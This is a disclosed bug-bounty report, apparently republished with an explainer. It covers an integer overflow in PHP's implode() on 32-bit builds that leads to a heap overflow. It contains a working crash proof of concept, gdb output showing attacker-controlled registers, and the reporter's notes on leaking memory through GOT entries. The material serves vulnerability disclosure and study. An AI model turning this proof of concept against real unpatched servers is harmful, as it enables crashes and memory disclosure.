An integer overflow bug in php_implode() could lead heap overflow, make PHP to crash
An integer overflow in PHP's implode() function on 32-bit builds lets a crafted array and delimiter make the length calculation wrap around, so a smaller buffer is allocated than the code then writes into. The reporter shows the process crashing with a segmentation fault and argues that careful control of registers could turn this into a heap overflow and memory disclosure.
- Fixed in 3 months
- Paid in 3 months
- Disclosed after 3.8 years
Description
A heap overflow vulnerability can be triggered by an integer overflow vulnerability, which exists in PHP-7.1.0 due to missing overflow check in a function php_implode() in ext/standard/string.c
I believe this could lead memory leak to the string if carefully exploited with using global addresses in the binary (e.g., GOT entries, heap addresses, etc.).
The bug happens on the line of ext/standard/string.c:1249, upon calling zend_string_alloc(). Both %eax and %ecx can be controllable by the exploit.
str = zend_string_alloc(len + (numelems - 1) * ZSTR_LEN(delim), 0);
This is only triggered in 32bit machines.
PoC Exploit
<?php $arr = []; for($i=0;$i<65536; ++$i) { $arr[$i]= "aa"; } $text1 = str_repeat("ABCD", 16384); // Changing ABCD into other values will alter %eax and %ecx. $str = implode($text1, $arr); ?>Run this script with php version over 7.0
Result
[blue9057@ubuntu /exploit/php$] gdb 14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
http://www.gnu.org/software/gdb/bugs/.
Find the GDB manual and other documentation resources online at:
http://www.gnu.org/software/gdb/documentation/.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/local/bin/php...done.
(gdb) r implode.php
Starting program: /usr/local/bin/php implode.phpwhich php
GNU gdb (Ubuntu 7.7.1-0ubuntu5
Program received signal SIGSEGV, Segmentation fault. php_implode (delim=delim@entry=0xb7401000, arr=arr@entry=0xb7a13160, return_value=return_value@entry=0xb7a13100) at /home/blue9057/php-src/ext/standard/string.c:1255 1255 cptr -= ZSTR_LEN(*strptr); (gdb) i r eax 0x44434241 1145258561 ecx 0x44434241 1145258561 edx 0xb7452004 -1220206588 ebx 0xb7452004 -1220206588 esp 0xbfffbf80 0xbfffbf80 ebp 0xcccccccd 0xcccccccd esi 0xb7451fe4 -1220206620 edi 0xb7442004 -1220272124 eip 0x827f0d8 0x827f0d8 <php_implode+440> eflags 0x10206 [ PF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) r -v The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/local/bin/php -v PHP 7.1.0-dev (cli) (built: Jan 24 2016 20:39:41) ( NTS ) Copyright (c) 1997-2016 The PHP Group Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies [Inferior 1 (process 3607) exited normally] (gdb)
The attacker can control both %eax & %ecx for the arbitrary value. The instruction is on moving the content at memory pointed by $eax to the memory address at $edx. If it is carefully controlled, that copy of string operation can applied over a GOT addresses or sensitive areas to leak the data into PHP string variable.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the length expression len + (numelems - 1) * ZSTR_LEN(delim) is computed without an overflow check before being passed to zend_string_alloc().
Impact
The crash is demonstrated; the reporter believes a carefully controlled overflow could corrupt the heap and leak memory contents, but no working leak is shown.
What the attacker needed
32-bit PHP build; PHP version above 7.0; ability to run PHP code
How it was found
- Build or run a 32-bit PHP version above 7.0.
- Create an array of 65536 two-character strings.
- Create a long delimiter string with str_repeat.
- Call implode() with that delimiter and array.
- Observe the segmentation fault in php_implode().
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When PHP joins an array into one string, it first works out how long the result will be and reserves that much memory. On 32-bit systems that length calculation can wrap around to a small number, so PHP reserves too little space and then writes past the end of it. That memory corruption can crash the program and, in principle, leak data.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.